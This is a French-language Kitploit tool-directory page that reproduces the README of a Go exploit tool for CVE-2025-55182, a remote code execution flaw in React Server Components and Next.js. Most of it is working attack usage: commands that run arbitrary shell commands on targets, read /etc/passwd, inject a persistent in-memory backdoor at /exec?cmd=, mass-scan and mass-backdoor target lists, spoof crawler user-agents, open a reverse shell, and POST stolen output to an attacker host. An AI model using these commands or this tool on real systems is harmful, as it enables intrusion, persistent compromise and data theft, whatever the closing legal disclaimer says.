Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182-golang-PoC — Preuve de concept basée sur Go pour CVE-2025-55182, une RCE critique dans les composants serveur React. Comprend la vérification de vulnérabilités, l'exécution de commandes, l'injection de shell mémoire, un reverse shell, le scan par lots et le support proxy pour les tests de sécurité autorisés. | Kitploit
Outils/GitHubGitHub/keklick1337/cve-2025-55182-golang-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubkeklick1337/cve-2025-55182-golang-poc

CVE-2025-55182-golang-PoC

Voir le dépôtSite web
611il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Preuve de concept basée sur Go pour CVE-2025-55182, une RCE critique dans les composants serveur React. Comprend la vérification de vulnérabilités, l'exécution de commandes, l'injection de shell mémoire, un reverse shell, le scan par lots et le support proxy pour les tests de sécurité autorisés.

Partager

CVE-2025-55182 RCE des React Server Components - PoC en Go

⚠️ POUR TESTS DE SÉCURITÉ AUTORISÉS UNIQUEMENT ⚠️

Description

CVE-2025-55182 (également connue sous le nom de CVE-2025-66478) est une vulnérabilité critique d'exécution de code à distance (RCE) dans les React Server Components (protocole Flight). Cet outil est une implémentation Go du PoC pour la recherche en sécurité et les tests de pénétration autorisés.

Versions affectées :

  • react-server-dom-webpack : 19.0.0 - 19.2.0
  • Next.js : 15.x (avant correctifs : 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7)
  • Next.js : 16.x (avant 16.0.7)
  • Next.js : 14.3.0-canary.77 et versions canary ultérieures

Détails de la vulnérabilité

L'exploit exploite une pollution de prototype dans la désérialisation du protocole Flight :

  1. Utilise la désérialisation $@ pour obtenir une référence de Chunk
  2. Place Chunk.prototype.then comme propriété then de l'objet racine
  3. Définit le statut sur RESOLVED_MODEL pour appeler avec un faux chunk contrôlé
initializeModelChunk
  • Déclenche la désérialisation Blob qui appelle response._formData.get avec la charge utile de l'attaquant
  • Définit response._formData.get sur le constructeur Function pour une exécution de code arbitraire
  • Fonctionnalités

    • Capacité RCE complète - Exécute des commandes arbitraires avec sortie
    • Mode vérification de vulnérabilité - Détection sécurisée sans exploitation
    • Détection de version Next.js - Empreinte numérique automatique de version
    • Injection de shell mémoire - Backdoor persistante à /exec?cmd=
    • Analyse par lots - Analyse multi-thread avec sortie JSON
    • Prise en charge complète des proxys :
      • SOCKS5 avec/sans authentification
      • SOCKS4/SOCKS4a
      • Proxy HTTP/HTTPS avec/sans authentification
    • Mode furtif - User-Agents de navigateur, crawler, sécurité
    • Limitation de débit - Délais configurables entre les requêtes
    • Reverse shell - mkfifo + nc (fonctionne sur Alpine/busybox)
    • Exfiltration de données - Envoi POST de la sortie de commande vers le serveur attaquant
    • Compilations multiplateformes - 30+ combinaisons OS/architecture
    • Sortie JSON - Résultats lisibles par machine pour l'automatisation

    Installation

    Binaires précompilés

    Téléchargez la dernière version pour votre plateforme depuis GitHub Releases.

    Binaires disponibles :

    • Linux : amd64, 386, arm, arm64, mips, mipsle, mips64, riscv64, ppc64, s390x
    • Windows : amd64, 386, arm64
    • macOS : amd64 (Intel), arm64 (Apple Silicon)
    • FreeBSD, OpenBSD, NetBSD : amd64, 386, arm, arm64
    • Et plus encore...

    Depuis les sources

    root@kitploit:~
    # Cloner le dépôt
    git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
    cd CVE-2025-55182-golang-PoC
    
    # Compiler pour la plateforme actuelle
    go build -o cve-2025-55182 .
    
    # Ou compiler pour toutes les plateformes
    chmod +x build.sh
    ./build.sh
    

    Compiler depuis les sources

    Après avoir exécuté ./build.sh, les binaires seront disponibles dans le répertoire build/ pour toutes les plateformes supportées.

    Utilisation

    Commandes de base

    root@kitploit:~
    # Vérifier une cible unique pour la vulnérabilité
    ./cve-2025-55182 -u http://cible:3000 --check
    
    # Détecter la version de Next.js
    ./cve-2025-55182 -u http://cible:3000 --version-check
    
    # Exécuter une commande avec sortie
    ./cve-2025-55182 -u http://cible:3000 -c "id"
    ./cve-2025-55182 -u http://cible:3000 -c "cat /etc/passwd"
    

    Shell mémoire (Backdoor persistante)

    root@kitploit:~
    # Injecter un shell mémoire (vérifie d'abord s'il est déjà installé)
    ./cve-2025-55182 -u http://cible:3000 --memshell
    
    # Tester si le shell mémoire est actif
    ./cve-2025-55182 -u http://cible:3000 --test-shell
    
    # Exécuter une commande via le shell mémoire
    ./cve-2025-55182 -u http://cible:3000 --shell-exec "cat /etc/passwd"
    
    # Après l'injection, vous pouvez aussi utiliser curl directement :
    curl 'http://cible:3000/exec?cmd=id'
    curl 'http://cible:3000/exec?cmd=whoami'
    

    En-têtes personnalisés et contournement SSL

    root@kitploit:~
    # Ajouter des en-têtes personnalisés (peut être utilisé plusieurs fois)
    ./cve-2025-55182 -u http://cible:3000 --check -H 'Authorization: Bearer token123'
    ./cve-2025-55182 -u http://cible:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
    
    # Ignorer la vérification du certificat SSL (pour les certificats auto-signés)
    ./cve-2025-55182 -u https://cible:3000 --check -k
    ./cve-2025-55182 -u https://cible:3000 --check --insecure
    
    # Combiner avec d'autres options
    ./cve-2025-55182 -u https://cible:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
    

    Prise en charge des proxys

    root@kitploit:~
    # SOCKS5 avec authentification
    ./cve-2025-55182 -u http://cible:3000 --check --proxy socks5://user:[email protected]:1080
    
    # SOCKS5 sans authentification
    ./cve-2025-55182 -u http://cible:3000 --check --proxy socks5://127.0.0.1:1080
    
    # Proxy SOCKS4
    ./cve-2025-55182 -u http://cible:3000 --check --proxy socks4://127.0.0.1:1080
    
    # Proxy HTTP
    ./cve-2025-55182 -u http://cible:3000 --check --proxy http://127.0.0.1:8080
    

    Analyse par lots

    root@kitploit:~
    # Vérification par lots depuis un fichier
    ./cve-2025-55182 --urls cibles.txt --check
    
    # Analyse par lots avec sortie JSON
    ./cve-2025-55182 --urls cibles.txt --check --json -o resultats.json
    
    # Analyse par lots avec plusieurs threads et mode furtif
    ./cve-2025-55182 -f cibles.txt --check --threads 20 --stealth crawler --delay 2s
    
    # Sauvegarder les cibles vulnérables dans un fichier
    ./cve-2025-55182 -f cibles.txt --check -o vulnerable.txt
    
    # Injection de shell mémoire par lots
    ./cve-2025-55182 --urls cibles.txt --memshell --workers 10
    
    # Exécution de commande par lots
    ./cve-2025-55182 --urls cibles.txt -c "id" --threads 5
    

    Exfiltration réseau

    root@kitploit:~
    # Reverse shell (mkfifo + nc, fonctionne sur Alpine)
    ./cve-2025-55182 -u http://cible:3000 --revshell 10.0.0.1 4444
    
    # Démarrer d'abord un écouteur sur la machine attaquante :
    nc -lvnp 4444
    
    # Exfiltrer la sortie de commande via HTTP POST
    ./cve-2025-55182 -u http://cible:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
    
    # Démarrer l'écouteur : nc -lvnp 4444
    

    Options

    OptionDescription
    -u, --urlURL cible (ex. http://localhost:3000)
    -f, --fileFichier contenant les URL cibles (une par ligne)
    --urlsAlias pour -f/--file
    -o, --outputFichier de sortie pour les cibles vulnérables
    --jsonAfficher les résultats au format JSON
    -c, --commandCommande à exécuter (avec sortie)
    --checkVérifier la vulnérabilité
    --version-checkDétecter la version de Next.js
    --proxyURL du proxy (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port)
    -H, --headerEn-tête personnalisé (peut être utilisé plusieurs fois)
    -k, --insecureIgnorer la vérification du certificat SSL/TLS
    --stealthMode furtif : browser, crawler, security (défaut : browser)
    --delayDélai entre les requêtes (ex. 2s, 500ms)
    --variantsUtiliser plusieurs variantes de payload pour une vérification approfondie
    --memshellInjecter un shell mémoire (backdoor persistante)
    --test-shellTester si le shell mémoire est actif
    --shell-execExécuter une commande via le shell mémoire
    --revshell IP PORTÉtablir un reverse shell
    --exfil CMD IP PORTExécuter une commande et envoyer la sortie en POST
    -t, --timeoutDélai d'attente de la requête en secondes (défaut : 15)
    --threads

    Types de proxy

    root@kitploit:~
    socks5://user:pass@ip:port  - SOCKS5 avec authentification
    socks5://ip:port            - SOCKS5 sans authentification  
    socks5h://ip:port           - SOCKS5 avec résolution DNS distante
    socks4://ip:port            - Proxy SOCKS4
    socks4a://ip:port           - Proxy SOCKS4a
    http://user:pass@ip:port    - Proxy HTTP avec authentification
    http://ip:port              - Proxy HTTP sans authentification
    https://ip:port             - Proxy HTTPS
    

    Modes furtifs

    ModeDescription
    browserImite les requêtes de navigateur réels (Chrome, Firefox, Safari, Edge) - défaut
    crawlerImite les robots d'indexation (Googlebot, Bingbot, Baiduspider, etc.)
    securityUtilise les User-Agents de scanners de sécurité (Nessus, Nuclei)

    Shell mémoire

    La fonctionnalité de shell mémoire injecte une backdoor persistante qui :

    1. Vérifie d'abord - Avant l'injection, vérifie si le shell est déjà installé
    2. Intercepte http.Server.prototype.emit - Intercepte toutes les requêtes HTTP
    3. Crée un point de terminaison /exec - Accepte le paramètre de requête cmd
    4. Survit jusqu'au redémarrage - Persiste dans la mémoire du serveur
    root@kitploit:~
    # Après l'injection :
    curl 'http://cible:3000/exec?cmd=id'
    curl 'http://cible:3000/exec?cmd=ls+-la'
    curl 'http://cible:3000/exec?cmd=cat+/etc/passwd'
    

    Structure du projet

    root@kitploit:~
    .
    ├── main.go                   # Point d'entrée CLI
    ├── pkg/
    │   ├── colors/
    │   │   └── colors.go         # Couleurs du terminal avec support --nocolor
    │   ├── exploit/
    │   │   └── exploit.go        # Logique principale d'exploitation, shell mémoire, détection de version
    │   ├── proxy/
    │   │   └── proxy.go          # Prise en charge des proxys SOCKS4/5, HTTP
    │   ├── scanner/
    │   │   └── scanner.go        # Analyse par lots avec sortie JSON
    │   └── stealth/
    │       └── stealth.go        # Randomisation des User-Agents
    ├── build.sh                  # Script de compilation multiplateforme
    ├── go.mod                    # Fichier de module Go
    ├── go.sum                    # Dépendances Go
    └── README.md                 # Ce fichier
    

    Compilations multiplateformes

    Le script build.sh compile pour 30+ plateformes :

    • Linux : amd64, 386, arm, arm64, mips, mipsle, mips64, riscv64, ppc64, s390x
    • Windows : amd64, 386, arm64 (.exe)
    • macOS : amd64 (Intel), arm64 (Apple Silicon)
    • FreeBSD : amd64, 386, arm, arm64
    • OpenBSD : amd64, 386, arm, arm64
    • NetBSD : amd64, 386, arm, arm64
    • DragonFly BSD : amd64
    • Solaris/Illumos : amd64
    • Plan 9 : amd64, 386
    • AIX : ppc64
    root@kitploit:~
    chmod +x build.sh
    ./build.sh
    

    Format de sortie JSON

    Lorsque l'option --json est utilisée, les résultats sont sauvegardés au format JSONL (un JSON par ligne) :

    root@kitploit:~
    {"url":"http://cible:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}
    

    Le rapport complet (_report.json) inclut :

    root@kitploit:~
    {
      "scan_time": "2025-12-06T12:00:00Z",
      "total_urls": 100,
      "vulnerable_count": 5,
      "safe_count": 90,
      "timeout_count": 5,
      "results": [...]
    }
    

    Détection de version

    L'outil peut détecter la version de Next.js à partir de :

    • L'en-tête X-Powered-By
    • Le code source HTML/JS (__NEXT_DATA__, chemins /_next/)
    • Les motifs du manifeste de compilation

    Les versions vulnérables sont mises en évidence en rouge.

    Avertissement

    ⚠️ AVIS JURIDIQUE IMPORTANT ⚠️

    Cet outil est fourni strictement à des fins éducatives et uniquement pour des tests de sécurité autorisés.

    Utilisation prévue

    • Recherche en sécurité et évaluation des vulnérabilités
    • Tests de pénétration autorisés avec autorisation écrite
    • Test de vos propres applications et infrastructures
    • Démonstration éducative dans des environnements de laboratoire contrôlés
    • Développement de correctifs et de mesures de sécurité

    Utilisation interdite

    Il est strictement interdit d'utiliser cet outil :

    • Contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester
    • Pour toute activité malveillante, illégale ou non autorisée
    • Pour obtenir un accès non autorisé à des systèmes informatiques ou des réseaux
    • En violation des lois locales, étatiques, nationales ou internationales applicables
    • Pour perturber, endommager ou compromettre des systèmes sans autorisation

    Avertissement légal

    L'accès non autorisé à des systèmes informatiques est une infraction pénale dans la plupart des juridictions dans le monde, y compris mais sans s'y limiter :

    • 🇺🇸 États-Unis : Computer Fraud and Abuse Act (CFAA) - jusqu'à 20 ans d'emprisonnement
    • 🇪🇺 UE : Directive 2013/40/UE relative aux attaques contre les systèmes d'information
    • 🇷🇺 Russie : Articles 272-274 du Code pénal
    • 🇬🇧 Royaume-Uni : Computer Misuse Act 1990
    • 🇩🇪 Allemagne : §§202a-202d StGB
    • 🇨🇳 Chine : Articles 285-287 du Code pénal

    Aucune garantie

    CE LOGICIEL EST FOURNI "EN L'ÉTAT", SANS GARANTIE D'AUCUNE SORTE, EXPRESSE OU IMPLICITE. LES AUTEURS ET DÉTENTEURS DE DROITS D'AUTEUR NE SERONT PAS RESPONSABLES DE TOUTE RÉCLAMATION, DOMMAGE OU AUTRE RESPONSABILITÉ DÉCOULANT DE L'UTILISATION DE CE LOGICIEL.

    Responsabilité de l'utilisateur

    En téléchargeant, installant ou utilisant cet outil, vous reconnaissez que :

    1. Vous êtes seul responsable de vos actions
    2. Vous utiliserez cet outil uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test
    3. Vous comprenez et acceptez tous les risques associés à l'utilisation de ce logiciel
    4. L'auteur n'assume aucune responsabilité en cas d'utilisation abusive ou de dommages causés

    Si vous n'acceptez pas ces conditions, n'utilisez pas cet outil.

    Auteur

    Vladislav Tislenko aka keklick1337
    Date : 2025-12-05

    Licence

    Ce projet est sous licence MIT License - voir le fichier LICENSE pour plus de détails.


    Utilisez de manière responsable. Restez dans la légalité. 🔐

    Télécharger l’outil
    Nombre de threads simultanés (défaut : 10)
    --workersAlias pour --threads
    --nocolorDésactiver la sortie colorée (pour Windows/pipes)
    -h, --helpAfficher le message d'aide
    -v, --versionAfficher la version